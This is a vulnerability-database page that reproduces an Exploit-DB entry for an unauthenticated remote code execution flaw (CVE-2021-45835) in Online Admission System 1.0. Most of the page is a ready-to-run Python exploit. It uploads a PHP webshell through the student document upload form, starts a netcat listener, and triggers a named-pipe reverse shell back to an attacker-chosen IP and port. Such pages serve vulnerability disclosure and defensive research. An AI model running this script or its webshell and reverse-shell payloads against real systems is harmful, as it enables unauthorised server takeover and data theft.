Lucene search
+L

Online Admission System 1.0 - Unauthenticated Remote Code Execution (RCE)

🗓️ 05 Jan 2022 00:00:00Reported by Jeremiasz PlutaType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 344 Views

Online Admission System 1.0 Remote Code Execution vulnerabilit

Related
Code
ReporterTitlePublishedViews
Family
attackerkb
attackerkb
CVE-2021-45835
18 Mar 202211:15
–attackerkb
circl
Circl
CVE-2021-45835
18 Mar 202213:22
–circl
cnnvd
CNNVD
Online Admission System code-related vulnerabilities
18 Mar 202200:00
–cnnvd
cve
CVE
CVE-2021-45835
18 Mar 202210:53
–cve
cvelist
Cvelist
CVE-2021-45835
18 Mar 202210:53
–cvelist
nvd
NVD
CVE-2021-45835
18 Mar 202211:15
–nvd
osv_cve
osv_cve
CVE-2021-45835
18 Mar 202211:15
–osv_cve
prion
Prion
Design/Logic Flaw
18 Mar 202211:15
–prion
ptsecurity
Positive Technologies
PT-2022-12425
18 Mar 202200:00
–ptsecurity
rapid7
Rapid7 Vulnerability Database (full)
CVE-2021-45835: Unrestricted Upload of File with Dangerous Type
18 Mar 202200:00
–rapid7
Rows per page
# Exploit Title: Online Admission System 1.0 - Remote Code Execution (RCE) (Unauthenticated)
# Date: 23/12/2021
# Exploit Author: Jeremiasz Pluta
# Vendor Homepage: https://github.com/rskoolrash/Online-Admission-System
# Software Link: https://github.com/rskoolrash/Online-Admission-System
# Tested on: LAMP Stack (Debian 10)

#!/usr/bin/python
import sys
import re
import argparse
import requests
import time
import subprocess

print('Exploit for Online Admission System 1.0 - Remote Code Execution (Unauthenticated)')

path = '/' #change me if the path to the /oas is in the root directory or another subdir

class Exploit:

	def __init__(self, target_ip, target_port, localhost, localport):
		self.target_ip = target_ip
		self.target_port = target_port
		self.localhost = localhost
		self.localport = localport

	def exploitation(self):
		payload = """<?php system($_GET['cmd']); ?>"""
		payload2 = """rm+/tmp/f%3bmknod+/tmp/f+p%3bcat+/tmp/f|/bin/sh+-i+2>%261|nc+""" + localhost + """+""" + localport + """+>/tmp/f"""

		url = 'http://' + target_ip + ':' + target_port + path
		r = requests.Session()

		print('[*] Resolving URL...')
		r1 = r.get(url + 'documents.php')
		time.sleep(3)

		#Upload the payload file
		print('[*] Uploading the webshell payload...')
		files = {
		'fpic': ('cmd.php', payload + '\n', 'application/x-php'),
		'ftndoc': ('', '', 'application/octet-stream'),
		'ftcdoc': ('', '', 'application/octet-stream'),
		'fdmdoc': ('', '', 'application/octet-stream'),
		'ftcdoc': ('', '', 'application/octet-stream'),
		'fdcdoc': ('', '', 'application/octet-stream'),
		'fide': ('', '', 'application/octet-stream'),
		'fsig': ('', '', 'application/octet-stream'),
		}
		data = {'fpicup':'Submit Query'}
		r2 = r.post(url + 'documents.php', files=files, allow_redirects=True, data=data)
		time.sleep(3)

		print('[*] Setting up netcat listener...')
		listener = subprocess.Popen(["nc", "-nvlp", self.localport])
		time.sleep(3)

		print('[*] Spawning reverse shell...')
		print('[*] Watchout!')
		r3 = r.get(url + '/studentpic/cmd.php?cmd=' + payload2)
		time.sleep(3)

		if (r3.status_code == 200):
			print('[*] Got shell!')
			while True:
				listener.wait()
		else:
			print('[-] Something went wrong!')
			listener.terminate()

def get_args():
	parser = argparse.ArgumentParser(description='Online Admission System 1.0 - Remote Code Execution (RCE) (Unauthenticated)')
	parser.add_argument('-t', '--target', dest="url", required=True, action='store', help='Target IP')
	parser.add_argument('-p', '--port', dest="target_port", required=True, action='store', help='Target port')
	parser.add_argument('-L', '--listener-ip', dest="localhost", required=True, action='store', help='Local listening IP')
	parser.add_argument('-P', '--localport', dest="localport", required=True, action='store', help='Local listening port')
	args = parser.parse_args()
	return args

args = get_args()
target_ip = args.url
target_port = args.target_port
localhost = args.localhost
localport = args.localport

exp = Exploit(target_ip, target_port, localhost, localport)
exp.exploitation()

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

23 Nov 2026 00:00Current
5.3Medium risk
Vulners AI Score5.3
CVSS 27.5
CVSS 3.19.8
EPSS0.03169
344